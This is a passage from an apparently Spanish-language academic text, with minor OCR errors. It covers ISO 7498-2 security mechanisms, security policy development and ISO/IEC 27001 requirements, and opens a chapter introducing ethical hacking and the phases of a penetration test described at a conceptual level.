mensaje con su propia clave privada mediante cifrado asimétrico y el receptor descifra la
firma recibida con la clave publica del firmante.

e Esquema de firma digital con autenticacion y secreto: El emisor cifra el mensaje con su
clave privada mediante cifrado asimétrico y luego cifra el resultado obtenido con la clave
publica del receptor igualmente por cifrado asimétrico. El receptor al recibir el mensaje lo
descifra con su clave privada y vuele a descifrar el resultado obtenido con la clave publica

del emisor.

» Firma digital arbitraria: Facilita el no repudio, una de las debilidades mas comunes en una
firma digital directa es la validez de cada esquema basado en la clave privada del emisor.
Asi, si el emisor desea luego negar el envio de un mensaje en particular puede afirmar que
se ha perdido su clave, que se la han robado o que han falsificado su firma. Este problema

puede controlarse de algin modo con la utilizacién de un notario.
Mecanismo de integridad de datos.

Brindan proteccion contra la modificacion no autorizada de datos, ademas de proporcionar
servicios de mantenimiento de la informacién y autenticacion de origen de los datos. Se pueden
identificar dos tipos:

» Relativos a la integridad de una Unica unidad de datos.
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» Relativos a una secuencia completa de datos.
Mecanismos de control de encaminamiento.

Es utilizada para que los datos sensibles utilicen canales de comunicacion seguros, los
mecanismos de control de encaminamiento proporcionan una variedad de servicios de
seguridad como lo son la integridad y la confidencialidad que permiten la seleccion de rutas
seguras para la transmisién de datos especialmente cuando se sospecha de alguna brecha de
seguridad.

Mecanismos de Notarizacion.

Se basan en un notario o fedatario electrénico que garantiza la integridad del origen y
destino de los datos, el notario normalmente aplicard una transformacion criptografica a los
datos. Ademéas puede suministrar un servicio total de no repudio, a diferencia de la firma

electrénica que puede ser cuestionada.
Mecanismo de relleno de trafico.

Se encarga de afadir datos ficticios para ocultar los volimenes reales de trafico de datos
proporcionando confidencialidad al flujo de trafico, cabe recalcar que este mecanismo solo es
efectivo en combinacion con otros mecanismos de cifrado. Estos mecanismos consisten en
insertar bits en los intervalos vacios que no existan en un flujo de datos para imposibilitar

intentos de analisis de trafico.

1.6.8 Categorias de mecanismos de seguridades.

Dentro de las categorias de mecanismo de seguridad se encuentran;

» Funcionalidad de confianza: Se basa en que cualquier entidad que brinde mecanismo de
seguridad debe ser confiable, pudiendo hacer una combinacién de software y hardware
para cumplir este objetivo.

> Etiquetas de seguridad: Se relaciona con el hecho de que cualquier recurso puede llevar
asociada una etiqueta de seguridad para indicar el grado de sensibilidad de esta. Las
etiquetas también pueden asociarse a los usuarios y vincularse a los datos transferidos.

» Deteccidn de eventos: Comprende la deteccidon de varias acciones: intentos de violacion de
la seguridad, actividad legitima relativa a la seguridad, activar informes de eventos y

alarmas que podria servir para realizar recuperaciones automaticas.
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» Registro de auditoria de seguridad: Se encarga de recopilar los eventos pasados
relacionados con la seguridad para a su vez detectar o realizar una investigacion forense
sobre las posibles fisuras encontradas.

» Recuperacion de seguridad: Contempla los mecanismos para gestionar peticiones para
recuperarse de los fallos de seguridad, pudiendo incluir: La cancelaciébn o suspension
inmediata de las operaciones, la invalidacion temporal de una entidad y la inclusion de una

entidad en una lista negra o zona de cuarentena.
Mecanismo de funcionalidad de confianza.

Su funcionamiento se centra en proteger los datos o recursos en base a los niveles de
seguridad. Cuando se tiene multiples categorias o niveles de datos es necesaria la creacion de

una seguridad multinivel, esta consta de dos reglas basicas que debe cumplir:

» Propiedad de no lectura hacia arriba: Un sujeto solo puede leer un objeto de un nivel de
seguridad igual o inferior.
» Propiedad de no escritura hacia abajo: Un sujeto solo puede escribir sobre un objeto de

nivel de seguridad igual o superior.

Para que este mecanismo funcione de manera adecuada tiene un monitor de referencias. Este
es un elemento de control de hardware y software que regulariza el acceso de los sujetos a los
objetos basandose en parametros de seguridad, ademas tiene acceso a un fichero llamado
base de datos del nlucleo de seguridad que recoge los privilegios de acceso y autorizacion de

todos y cada uno de los sujetos y los niveles de clasificacion de cada objeto.
El monitor de referencia tiene las siguientes propiedades:

» Mediacién Completa: Las reglas de seguridad se ejecutan en cada acceso, no solo cuando
se abre el fichero.
> Aislamiento: El monitor de referencia y la base de datos deben encontrarse protegidos de
posibles modificaciones no autorizadas.
» Comprobabilidad: La correccién del monitor de referencia debe poder ser probado, esto
quiere decir que debe ser posible demostrar que el monitor de referencia ejecuta las
reglas de seguridad proporcionando una mediacién completa y con aislamiento. Si el

sistema puede proporcionar estas caracteristicas se denomina un sistema seguro.
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Mecanismo de etiquetas de seguridad.

Las unidades de datos de protocolo (PDU) segun el nivel OSI pueden denominarse:
Tramas, células, paquetes, mensajes, datagramas, segmentos o bloques; estas pueden tener
asociadas etiquetas de seguridad para indicar el nivel de seguridad.

Mecanismo de deteccion de eventos.

Supervisa de forma estricta la manipulacion de eventos y al instante de detectar un evento
relevante a la seguridad puede dar lugar a la produccion de informes locales para la
elaboracion de informes remotos y acciones de recuperacion. Un ejemplo claro de la deteccion
de eventos puede ser: Un desbordamiento de una cuenta, quiere decir que hay un nimero
elevado de intentos de iniciar sesion dentro de un periodo especifico de tiempo, el

incumplimiento de una seguridad especifica y un evento seleccionado especifico.
Mecanismo de recuperacion de la seguridad.

Se encarga de las peticiones de otros mecanismos como la administracion de eventos, las
funciones de gestion y la realizacion de acciones de recuperacion. Para ello se necesita de las

siguientes reglas:

» Temporales: Son aquellas que pueden producir una inhabilitacion temporal de una entidad.
Ejemplo: El cierre temporal de un puerto UDP.

» Inmediatas: Puede realizar una finalizacion inmediata de las operaciones. Ejemplo:
Desconexion del sistema o cierre de una conexion TCP.

> A largo plazo: Puede trasladar a una entidad a una lista negra, cambiar una clave o poner

un programa infectado con virus en cuarentena.

1.6.9 Relacién entre servicios de seguridad ISO-7498-2 con las capas OSI.

La norma ISO-7498-2 indica los mecanismos que puede utilizarse para proporcionar
determinados servicios. También especifica los servicios de seguridad proporcionados en cada
una de las capas del modelo OSI, las capas 1 y 2 solo pueden proporcionar servicios de
confidencialidad, las capas 3 y 4 proporcionan servicios como integridad, confidencialidad,
autenticacion, las capas 5 y 6 proporcionan servicios como la confidencialidad e integridad y la

capa 7 proporciona todos los servicios.
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CAPA
1 2 3 4 5--6 7
SERVICIO FISICO | ENLACE | RED | TRANSPORTE | SESION/PRESENTACION | APLICACION

Autenticacion de entidades. X X X
Autenticacion del origen. X X
Control de acceso. X X X
Confidencialidad con conexion. X X X X X
Confidencialidad sin conexion. X X X X
Confidencialidad de un campo
selectivo. X
Confidencialidad del flujo de trafico. X X X
Integridad con conexién con
recuperacion. X X
Integridad con conexion sin
recuperacion. X X X
Integridad con conexion de un campo
selectivo. X
Integridad sin conexién. X X X
Integridad sin conexién de un campo
selectivo. X
No repudio del origen. X
No repudio del destinatario. X

Tabla 1.1 Servicios de seguridad por nivel OSI segun la norma ISO 7498-2. (Areitio 42)

1.6.10 Categorias de gestion de la seguridad.

El estandar ISO-7498-2 especifica la gestién de seguridad como el control y la distribucién
de informacion para proporcionar mecanismos y servicios de seguridad, realizar informes sobre

ellos y sobre eventos relacionados con la seguridad.
Se puede identificar cuatro categorias de gestion de seguridad:

» Gestidn de la seguridad del sistema.
» Gestién del servicio de seguridad.
» Gestion del mecanismo de seguridad.

» Seguridad de la gestién OSI.
La gestién de los aspectos de seguridad del sistema completo incluye:

» La gestion de las politicas de seguridad.
» La interaccién con otras funciones de gestion como: la gestion de la contabilidad, la gestion

de fallos, la gestién de la configuracion y la gestién del rendimiento.
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» Gestion de manipulacion de eventos.
» Gestion de auditoria de seguridad y recuperacion.
» Gestion de la politica de control de acceso.

Para cualquier mecanismo de seguridad basado en criptografia en primordial la utilizacién de la
gestion de claves y es fundamental decidir cuando es necesario cambiarlas, generarlas y
distribuirlas de forma segura. Cuando se disefia un sistema seguro hay que tomar en cuenta

dos puntos fundamentales:

> La funcionalidad del sistema.

» El aseguramiento del sistema.

1.7 Métodos para desarrollar una politica de seguridad.

Una politica de seguridad notifica las posibles amenazas sobre la informaciéon de una
organizacion y proporciona procedimientos a seguir para prevenir la ocurrencia de una
amenaza y la reaccién sobre una amenaza producida. Para desarrollar una politica de

seguridad se deben seguir cinco fases:

1.7.1 Andlisis de valoracion de riesgos.

Se enfoca en un profundo anadlisis de riesgos de seguridad para con ello identificar el
estado en el que se encuentra la organizacion y brindar contramedidas. El objetivo principal de
esta fase es determinar las amenazas que pueden poner en riesgo la informacion de la
empresa estimando los riesgos asociados a dichas amenazas priorizando las de alto riesgo.

Esta fase puede subdividirse en dos etapas:

> ldentificacion y priorizacibn de amenazas: Es fundamental conocer las amenazas que
pueden afectar la organizacién y su impacto sobre el mismo. La mayor parte de las
amenazas atacan a alguno de los siguientes aspectos:
e Integridad y autenticidad.
e Confidencialidad.
¢ Disponibilidad.
¢ No repudio.
Es recomendable realizar una tabla de priorizacién de las amenazas segun el nivel de impacto,

donde se indigque las amenazas a las que pudiera estar sometido el sistema de informacion
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como: virus, fallos de software, fallos de hardware, denegacion de servicios, ataques por

Internet, confianza en los empleados.

» Establecimiento de salvaguardas: La implementacion de las salvaguardas esta
directamente relacionada con las amenazas encontradas. Una de las medias mas efectivas
es implementar métodos como: antivirus, IDS o el establecimiento de backups para los
datos. También es importante cifrar los datos almacenados y transmitidos ademas de

realizar regularmente auditorias de seguridad e implementar leyes y politicas de seguridad.

1.7.2 Construccion de la politica de seguridad.

Se centra principalmente en conocer los contenidos adecuados para generar politicas de
seguridad soélidas, eficaces y eficientes, dado que las politicas de seguridad tienen que ser
entregadas a los usuarios del sistema la redaccion utilizada debe ser compresible para todos.

Existen cinco etapas para la construccién de sus elementos generales:

» Objetivos de la politica: Esta etapa es fundamental ya que expone los detalles de a quién,
cuando y dénde va a ser aplicada la nueva politica de seguridad, asi también explicar los

resultados esperados de esta politica.

> Ambito de la politica: Brinda una descripcion detallada del entorno de la politica de
seguridad. Es decir, debe definir claramente los aspectos cubiertos por ella, asi como: los
sistemas utilizados, la funcionalidad del sistema, la arquitectura del sistema el hardware y

software utilizados.

» Procedimientos de seguridad: En esta etapa lo que se busca es priorizar las
vulnerabilidades y las amenazas de alto impacto que se han identificado, asi como las
contramedidas que se deben adoptar. El propésito de estipular esto en el documento de la

politica de seguridad de la empresa es aumentar la conciencia de los empleados.

» Reglas y normas para los empleados: Se debe definir claramente qué empleados tienen
acceso al sistema y establecer derechos de autorizacién para cada uno de ellos no todos
los empleados van a tener acceso a la misma informacién, por ello las reglas y normas

deben ser definidas de forma eficiente sin ambigliiedades para que los empleados tenga
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claro que pueden y que no puede realizar. Previamente se debe hacer firmar a todos los
empleados un documento donde consten las reglas que deben cumplir.

» Gestion de seguridad: En esta etapa se explica la forma en la que todo el personal de la
organizacion desde los directivos hasta los empleados pueden contribuir al mantenimiento

de la seguridad de la informacion.

1.7.3 Implantacion de la politica de seguridad.

Antes de la implementacion de las politicas de seguridad se debe revisar minuciosamente las
normas para no dejar ningun vacio legal y asegurarse que las politicas sean lo mas claras y
consistentes. Se tiene que establecer de manera firme la validez de las politicas de seguridad
para evitar complicaciones legales ya sea por empleados disconformes o por empleados

despedidos que decidan demandar a la organizacion.

1.7.4 Mantenimiento de la politica de seguridad.

Para que una politica de seguridad sea eficiente tiene que estar en constante evolucién ante
los nuevos tipos de amenazas, para esto se debe realizar una verificacion y actualizacion de
ser necesario. En caso de tener que realizar cambios en alguna politica se tiene que realizar
los procedimientos necesarios para que el cambio sea correcto y no tenga repercusiones

negativas por una politica mal implementada.

1.7.5 Implicacién del componente humano.

El componente humano engloba a todas las personas que trabajan en la empresa. Todas
las fases anteriores estan relacionadas directamente con esta ya que asi se disponga de un
buen proceso de gestion, un mantenimiento efectivo de las politicas si el personal no brinda su

apoyo a las politicas de seguridad estas no tendran el resultado deseado.

1.7.6 Causas del fallo de las politicas de seguridad.

Entre las fallas mas comunes de una politica de seguridad se encuentran:
» Falta de apoyo de los empleados.

» Las implicaciones legales y econ6micas.
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» Una inadecuada aplicacion y mantenimiento de la politica de seguridad.
» Una politica de seguridad que no refleje los objetivos del negocio de la organizacion.

1.8 Estandar de Seguridad ISO/IEC - 27001.

El estandar de seguridad ISO/IEC - 27001 proporciona un modelo para establecer,
implementar, operar, realizar seguimiento, revisar, mantener y mejorar un sistema de gestion
de seguridad de la informacion. La elaboracién de un sistema de gestién de seguridad es un
pilar fundamental para una organizacién ya que consolida en gran medida el nivel de seguridad

con la que manejan la informacién las empresas.

1.8.1 Enfoque basado en procesos.

Aplica un enfoque basado en procesos para establecer, implementar operar, realizar
seguimientos, revisar, mantener y mejorar el sistema de gestion de seguridad de la informacién
(SGSI) de una organizacion. Cualquier actividad que utilice recursos y que se gestione con la
finalidad de permitir que elementos de entrada se transformen en resultados se lo puede
denominar como un proceso, la mayoria de procesos contribuye directamente en ser elemento
de entrada del siguiente proceso. Destacando la importancia de:

> “La compresion de los requisitos de seguridad de la informacion y la necesidad de
establecer politicas y objetivos para la seguridad de la informacién.

» Implementar y operar controles para dirigir los riesgos de seguridad de la informacion de
una organizacion en el contexto de los riesgos globales del negocio de la empresa.

» Realizar seguimiento y revisar el desempefio y eficacia del SGSI.

» Mejora continua con base a mediciones objetivas.” (Fondorama 2)

Esta norma aplica el modelo “Planificar — Hacer — Verificar - Actuar” (PHVA), el cual es utilizado
para estructurar todos los procesos del SGSI describiéndose de la siguiente manera:
> Planificar: Se establecen las politicas, objetivos, proceso y procedimientos pertinentes del
SGSI para gestionar el riesgo y mejorar la seguridad para a su vez entregar resultados de
acuerdo a las politicas y los objetivos globales de la empresa.
» Hacer: Implementar y operar la politica, controles, procesos y procedimientos del SGSI.
> Verificar: Evaluar los procesos, objetivos y experiencia practica del SGSI e informar los
resultados para realizar la revision.
» Actuar. Realizar las acciones preventivas y correctivas sobre la base de resultados

auditados internamente del SGSI.
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1.8.2 Sistema de gestion de seguridad de la informacion.

Planificacion del SGSI.
Para establecer el SGSI la empresa debe seguir los siguientes parametros:
» Definir el alcance dependiendo de las caracteristicas del negocio, la ubicacion, activos y
tecnologia.
» Especificar una politica en términos de las caracteristicas del negocio.
» Detallar el enfoque de evaluacion del riesgo de la organizacion.
» |dentificar los riesgos.
» Analizar y evaluar los riesgos.
» |dentificar y evaluar las opciones para el tratamiento de los riesgos.
» Seleccionar los objetivos de control para el tratamiento de los riesgos.
> Obtener la aprobacion de los riesgos residuales proporcionados por la direccion.
» Conseguir la autorizacion de la direccién para implementar el SGSI.

> Preparar una declaracion de aplicabilidad.

Implementacion del SGSI.
La empresa debe aplicar las siguientes pautas:

» Exponer un plan de tratamiento del riesgo que identifique la accion de gestion, recursos,
responsabilidades y prioridades acertadas para dirigir los riesgos de la seguridad de la
informacion.

> Efectuar el plan de tratamiento de riesgos a fin de alcanzar los objetivos de control de
identificacion, esto abarca el financiamiento, asignacion de roles y responsabilidades.

» Implementar los controles de seguridad correspondientes para cumplir los objetivos.

> Definir cdmo medir la eficacia de los controles y especificar como se utilizardn estas
mediciones para evaluar la eficacia del control para producir resultados comparables y
reproducibles.

> Implementar los procedimientos y otros controles capaces de permitir la deteccion de

eventos gue afecten la seguridad y la respuesta inmediata a esos incidentes.

Seguimiento y verificacién del SGSI.
Para un correcto desempefo del sistema la empresa debe seguir los siguientes pasos:
» Realizar un seguimiento a los procedimientos y otros controles para detectar
inmediatamente los errores en los resultados del procesamiento y con ello descubrir los

intentos de violaciones a la seguridad.
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» Realizar con frecuencia evaluaciones que permitan monitorear la eficacia del SGSI,
tomando en consideracion los resultados de las auditorias de seguridad.

» Medir la eficacia de los controles para verificar que los requisitos de seguridad hayan sido
cumplidos.

» Analizar las evaluaciones del riesgo a intervalos planificados y los niveles de riesgos
aceptables, tomando en cuenta los cambios en: La organizacion, la tecnologia, los objetivo,
los procesos de negocio, las amenazas identificadas, la eficacia de los controles
implementados.

» Llevar las auditorias internas del SGSI a intervalos planificados.

» Elaborar una revisién por la direccion del SGSI sobre una base regular para asegurar que
el alcance permanece adecuado y se identifican las mejoras en el proceso.

> Actualizar los planes de seguridad tomando en cuenta los hallazgos del seguimiento y
revision de las actividades.

> Registrar las acciones y los eventos que podrian tener impacto sobre la eficacia del

sistema.

Mantenimiento y mejora del SGSI.
Periodicamente la organizacién debe realizar lo siguiente:
» Implementar las mejoras identificadas en el SGSI.
» Tomar acciones preventivas y correctivas.
> Notificar las acciones y las mejoras a todas las partes inmersas con un nivel de detalle
apropiado a las circunstancias.

» Certificar que las mejoras realizadas alcanzan los objetivos previstos.

1.8.3 Requisitos de la documentacion.

Es importante demostrar la relacion entre los controles seleccionados, los resultados de la

evaluacion de riesgo y el proceso de tratamiento del riesgo.
La documentacion de SGSI debe incluir:

» Declaraciones documentales de la politica SGSI.

» El alcance del SGSI.

» Los procedimientos y controles que apoyan al SGSI.

» Una descripcién de la metodologia de evaluacién del riesgo.

> Informe de evaluacion del riesgo.

» Plan de tratamiento de riegos.
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» Los procedimientos documentados necesarios por la organizacibn para asegurar la
planificacion, operacién y control eficaz de sus procesos de seguridad.

» Los registros requeridos por esta norma.

» La declaracion de aplicabilidad.

Control de documentos.
Se debe establecer un procedimiento documentado que defina las acciones de gestion
necesarias para:
» Aprobar los documentos adecuados antes de ser emitidos.
» Revisar y actualizar los documentos cuando sea necesario para luego aprobarlos
nuevamente.
» Asegurarse que se identifiguen los cambios y el estado de revisiobn actual de los
documentos.
» Cerciorarse que las versiones pertinentes de los documentos aplicables se encuentran
disponibles.
> Certificar que los documentos permanezcan legibles y facilmente identificables.
» Demostrar que los documentos estén disponibles para quienes lo necesiten.
» Asegurar la identificacién de los documentos de origen externo.
» Asegurarse de que es controlada la distribucion de los documentos.

> Prevenir el uso no intencionado de documentos obsoletos.

Control de registros.

Para el funcionamiento eficaz del SGSI se debe establecer y mantener los registros, esto
proporciona evidencia de la conformidad con los requisitos. Estos deben permanecer legibles,
identificables y recuperables. Ademas se tiene que documentar e implementar los controles
necesarios para la identificacién, almacenamiento, proteccién, recuperacion y la disposicién de

registro.

1.8.4 Responsabilidad de la direccion.

Compromiso de la direccion.

La direccion tiene que demostrar su compromiso con el establecimiento, implementacion,
operacién, seguimiento, revisidon, mantenimiento y mejora de SGSI. Para esto se presenta los
siguientes modelos a seguir:

» Establecimiento de la politica SGSI.
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» Asegurar el establecimiento de los objetivos y planes del SGSI.

» Establecimiento de roles y las responsabilidades para la seguridad de la informacion.

» Proporcionar recursos suficientes para establecer, implementar, operar, realizar
seguimientos, revisar, mantener y mejorar el SGSI.

» Decidir criterios para la aceptacion de riesgos y los niveles de riesgos aceptables.

Provision de recursos.
La empresa debera determinar y proporcionar los recursos necesarios para:
» Establecer, implementar, operar, realizar seguimiento, revisar, mantener y mejorar el SGSI.
» Asegurar que los procedimientos de seguridad de la informacién apoyen los requisitos del
negocio.
> ldentificar y manejar los requisitos legales, reglamentos y las obligaciones de seguridad
contractuales.
» Mantener de la mejor manera la seguridad basandose en la aplicacion correcta de todos
los controles implementados.
> Ejecutar las revisiones cuando sea necesario y responder satisfactoriamente a los

resultados de las mismas.

Formacién, toma de conciencia y competencia.

La empresa debe asegurarse que todo el personal que esta involucrado en la elaboracion y
mantenimiento del SGSI esté debidamente capacitado, tomando en cuenta para su verificacion
los siguientes puntos:

» Determinar los perfiles necesarios del personal.
» Proporcionar capacitacion al personal o contratar personal competente.

> Evaluar la eficacia de las acciones tomadas.

1.8.5 Auditorias Internas del SGSI.

La organizacién debe realizar auditorias internas planificadas para determinar si los objetivos
de control, los procesos y los procedimientos se estan llevando de la mejor manera, tomado en
cuenta:

» Conformidad con los requisitos de esta norma y con la legislacién o reglamento pertinente.

» Conformidad con los requisitos de seguridad de la informacion.

» Implementacién y mantenimiento eficaz.

» Cumplimiento del desempefio esperado.
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Al momento de realizar una auditoria se debe tomar en cuenta los resultados de las auditorias
previas, también se tiene que crear un programa de auditorias considerando el estado y la
importancia de los procesos y areas a auditar. Para esto es fundamental que los auditores sean

imparciales y lo méas objetivos posibles para garantizar un buen resultado.
1.8.6 Revision por la direccion del SGSI.

La direccion debe realizar por lo menos una vez por afio una revisiéon completa del SGSI de

la empresa, para verificar su funcionamiento y tomar medidas de ser necesario.

Elementos de entrada por la revision.
La informacidén de entrada para una revision debe incluir:
> Los resultados de las auditorias del SGSI y las revisiones.
> La retroalimentacion de las partes interesadas.
> Incluir las técnicas, productos y procedimientos que pudiesen ser Utiles para la mejora del
desempefio y eficacia del SGSI.
> El estado de las acciones preventivas y correctivas.
» Las vulnerabilidades o amenazas que no han sido tratadas adecuadamente en la
evaluacion previa.

> Los resultados de las mediciones de eficacia.

Resultados de la revision.
Los resultados de la revision deben incluir las decisiones y acciones relacionadas con:
» Mejora de la eficiencia del SGSI.
» Actualizacioén de la evaluacion y el plan de tratamiento del riesgo.
» Modificacibn de los procedimientos y controles que afectan la seguridad de la
informacion.
» Las necesidades de recursos.

» La mejora de la eficacia de los controles.

1.8.7 Mejora del SGSI.

Mejora Continua.
La empresa no puede quedarse estancada debe realizar una mejora progresiva de la

eficacia del SGSI usando: Politicas de seguridad, objetivos de seguridad, resultados de
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auditorias, andlisis de eventos, acciones preventivas y correctivas, todo esto debe estar bajo la

supervision de la direccion.

Accién Correctiva.

La organizacion debe eliminar las no conformidades de los requisitos del SGSI tomando
acciones correctivas. El procedimiento documentado para realizar las acciones correctivas
tiene que definir requisitos para:

» ldentificar las no conformidades.

» Determinar las causas de las no conformidades.

» Evaluar las acciones para asegurarse de que las no conformidades no vuelvan a suceder.
» Determinar e implementar las acciones correctivas necesarias.

> Registrar los resultados de las acciones tomadas.

> Revisar las acciones correctivas tomadas.

Accién Preventiva.

La organizacion tiene que estar siempre pendiente de las acciones que deberia tomar en
caso de que existan problemas potenciales. Las acciones preventivas deben ser apropiadas a
los posibles impactos, para ello se debe definir el procedimiento documentado para tomar
acciones preventivas tomando en cuenta los siguientes requisitos:

> ldentificar las no conformidades potenciales y sus causas.
» Evaluar la necesidad de actuar para prevenir la ocurrencia de no conformidades.
» Determinar e implementar las acciones preventivas necesarias.
» Registrar los resultados de las acciones tomadas.
» Revisar las acciones preventivas tomadas.
La prioridad de las acciones preventivas a realizar se debe determinar sobre la base de los

resultados de la evaluacién de los riesgos.
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CONCLUSIONES.

En este capitulo se enfoc6 a la presentacion de las pautas mas relevantes sobre la seguridad
de la informacion, se expuso de manera concreta como una organizacion puede llevar de forma
ordenada y controlada la implementacién y mantenimiento de normas de seguridad que son la
base fundamental para que una empresa funcione correctamente.

Al finalizar este capitulo se tiene una vision mas amplia de como estructurar medidas de
seguridad y enfocarlas de una mejor manera segin como se vayan presentando los avances

tanto a nivel de hardware como software dentro de una organizacion.
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CAPITULO II.

INTRODUCCION AL HACKING ETICO.

INTRODUCCION.

En este capitulo se trataran los principales tépicos referentes al Hacking ético comenzando
por definir qué es y que realmente hace un hacker. Ademas se exponen las fases y los tipos de
ataques que puede realizar un hacker a la hora de tratar de ingresar a los sistemas
institucionales siempre en beneficio de la seguridad interna de la empresa.

Es de suma importancia tener conocimientos claros y precisos de como se desenvuelve un
hacker ético y las diferentes situaciones con las que se puede encontrar dentro del analisis en

una empresa.
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2.1 Definicién.

Hay que diferenciar dos términos que en la mayoria de casos se usa de manera incorrecta
y que son utilizados frecuentemente estos son: Hacker, utilizado para referirse a una persona
que tiene conocimientos en varias ramas relacionadas a la tecnologia de la informacion y las
telecomunicaciones, como puede ser en: programacion, redes y sistemas operativos. El otro
término es Cracker, utilizado para sefialar a una persona que presume de sus conocimientos
para evadir o violar las normas de seguridad de un sistema de informacién similar con fines de
lucro.

El enfoque del hacker ético va orientado a un analisis con la autorizacion de la persona o
empresa que requiere de sus servicios profesionales para mejorar la seguridad de sus
sistemas, aplicando sus conocimientos para vulnerar los sistemas bajo contratos
empresariales, para luego de un andlisis profundo brindar mecanismos que eviten futuros

ataques, también son conocidos como hacker de sombrero gris.

2.2 El Triangulo de la Seguridad.

El triangulo de seguridad es una forma de representacion gréfica que muestra como se
puede combinar los tres puntos fundamentales de la seguridad de la informacién, dependiendo
de la importacién que se quiera dar a cada uno de ellos, estos son: La funcionalidad, facilidad

de uso y la seguridad.

SEGURIDAD

FACILIDAD DE USO FUNCIONALIDAD
Figura 2.1 Triangulo de seguridad - (Ethical Shields 10)
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Como se puede apreciar en el grafico en cada extremo del triangulo se encuentra un aspecto
del manejo de la informacion. Tomando en cuenta el punto referencial en el centro del tridngulo

como la prioridad que la empresa puede dar a cada extremo se puede indicar que:

» Seguridad: Si se prioriza la seguridad en los sistemas de la organizacién esto quiere decir
que el punto de referencia se acerca al extremo de la seguridad alejandose de la
funcionabilidad y de la facilidad de uso, esto dard como resultado un sistema seguro pero
gue sera dificil de manejar para los usuarios y su funcionabilidad no sera tan optima porque
se pudiera realizar mas pasos para ejecutar una accion.

» Funcionabilidad: Si la empresa prioriza la funcionabilidad esto har4 que se tenga un
sistema rapido que devuelva consultas en menor tiempo, pero se alejara de la seguridad y
de la facilidad de uso ya que se reduciria la seguridad y los usuarios no tendrian mayor
control sobre las acciones que el sistema realice porque seria mas automatizado.

> Facilidad de Uso: Al enfocarse en la facilidad de uso esto hara que los usuarios tengan
mayor control sobre las acciones del sistema, pero reduciria la seguridad y la

funcionabilidad.

Una vez expuesto los tres extremos del triangulo se puede decir que la empresa deberia tener
un equilibrio entre los tres eslabones de seguridad para que no se descompense ninguno de

los puntos que son de la misma importancia para manejar eficientemente un sistema.

2.3 Evaluacion de Vulnerabilidades.

La evaluacion de vulnerabilidades es un aspecto de suma importancia al interior de una
organizacion, se realiza normalmente con un escaner de red (Acutenix, Heat, Retina, etc) para
escanear los servicios y puertos en un rango de direcciones IP. En varias de las aplicaciones
gue existen para escanear vulnerabilidades también se puede analizar el tipo de sistema
operativo, las aplicaciones que se estan ejecutando incluyendo las versiones, las cuentas de
usuario, entre otras. El resultado del andlisis entregard una lista de vulnerabilidades a las que
se tendra que clasificar segun el riesgo que pueda producir a la empresa y aplicar

contramedidas para atenuar los posibles dafos.
2.4 Pruebas de Penetracion.

Es la etapa donde se realizan las pruebas a las vulnerabilidades encontradas en la etapa
de evaluacion. El objetivo principal es mostrar a la empresa la manera en que los atacantes

pueden utilizar las vulnerabilidades en contra de ellos.
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En muchas ocasiones, cuando se esta realizando los procedimientos para explotar al maximo
una vulnerabilidad se van descubriendo datos adicionales que no necesariamente tiene que
tener relacion con la vulnerabilidad que se esta testeando. Esos datos pueden ser desde las
contrasefias de usuarios, documentacion privada de la empresa, contrasefias administrativas,
etc. Toda informacién que se va obteniendo en el transcurso de la exploracién de la amenaza
ayuda a que las personas encargadas de la seguridad de la empresa tomen conciencia sobre

las repercusiones que pueden causar estas vulnerabilidades.

2.5 Fases para la emulacién de un ataque.

Para poder comprobar la seguridad de un sistema es fundamental realizar emulaciones de
ataques como lo haria un cracker para estar al tanto de qué manera reaccionara el sistema

ante posibles amenazas reales. Las fases que se deben seguir para emular un ataque son:

2.5.1 Reconocimiento.

Es la fase preparatoria que tiene como objetivo principal recolectar la mayor cantidad de
informacién acerca de la empresa antes de realizar el ataque. Esta etapa es muy importante ya
gue sera la base fundamental sobre la cual es trabajara y facilitard las siguientes etapas. Se
puede aplicar dos tipos de reconocimiento, estos son:

» Reconocimiento Pasivo: Este tipo de reconocimiento se lo realiza en su gran mayoria a
través de Internet visitando su pagina web, realizando busquedas en blogs, averiguando
si necesitan personal, analizando cédigo HTML de la pagina y realizando ingenieria
social.

» Reconocimiento Activo: Este reconocimiento tiene un riesgo mucho mayor de ser
detectado ya que se encontrard interactuando directamente con el objetivo realizando

llamadas o analizando el trafico de red.

2.5.2 Escaneo.

Es la fase preliminar a la realizacion del ataque, se realiza un escaneo basandose en la
informacién extraida en el reconocimiento utilizando herramientas para realizar barridos de ping
y escaneos de puertos, esto ayudara a identificar las posibles vulnerabilidades y disefiar un
diagrama de red del objetivo, ademas se buscara servicios mal configurados, passwords por

defecto, versiones vulnerables de sistemas operativos, etc.
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2.5.3 Obtener Acceso.

En esta fase se intenta aprovechar las vulnerabilidades identificadas para lograr acceso al
sistema y conseguir la mayor cantidad de informacion o también deshabilitar el sistema
dependiendo del objetivo trazado. Para realizar estos ataques se puede utilizar: Denial of
service, sesion hijacking, password cracking, etc.

2.5.4 Mantener el Acceso.

Luego de haber obtenido el acceso a alguin recurso se deseara poder acceder nuevamente
ya sea para almacenar otra informacién o empezar un nuevo ataque desde ese punto. Dentro
de este paso es posible que el atacante refuerce la seguridad del servidor para protegerlo del
propio personal de seguridad de la empresa y tener un acceso mucho mas sencillo en el futuro.
Hay varias formas en las que se puede mantener el acceso a los sistemas entre ellas estan:
Los troyanos, Backdoors o de ser el caso la creacién de una cuenta con permisos

administrativos de forma que no se genere sospechas en proximos accesos.

2.5.5 Borrado de Huellas.

Hace referencia a las actividades que se realiza para ocultar los accesos indebidos a los
sistemas de la empresa para que el personal encargado de la seguridad de los sistemas no se
den cuenta de dichos accesos y asi en un futuro continuar utilizando recursos para evitar
acciones legales. Para esto se puede utilizar la estenografia y la alteracién de los registros de

las aplicaciones.

2.6 Tipos de Atagues.

Existen varias formas en las que un atacante puede lograr acceso al sistema de una
empresa ya sea mediante: Troyanos, backdoors, XSS, Sql Injection, etc. Estos ataques en los

gue se explota alguna vulnerabilidad conocida se puede dividir en tres areas:

» Ataques al sistema operativo.

En la mayoria de ocasiones los sistemas operativos son instalados con sus configuraciones
por defecto, esto puede ser debido a la falta de precaucién de los administradores para aplicar
los parches correspondientes y realizar el Hardening necesario para optimizar la seguridad del
sistema. Esto proporciona una gran ventaja para un cracker ya que con tan solo averiguar las

configuraciones por defecto del sistema operativo que se esta utilizando puede focalizar sus
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ataques de forma directa y tener resultados mucho més efectivos al momento de realizar los

ataques.

» Ataques a nivel de aplicacion.

Comunmente las aplicaciones no son testeadas desde el punto de vista de seguridad,
cuando los programadores se encuentran desarrollando dichas aplicaciones y se piensa que
las seguridades respectivas se pueden agregar facilmente cuando la aplicacion ya esta
terminada. La seguridad se debe tener en cuenta desde el inicio de la programacion de los
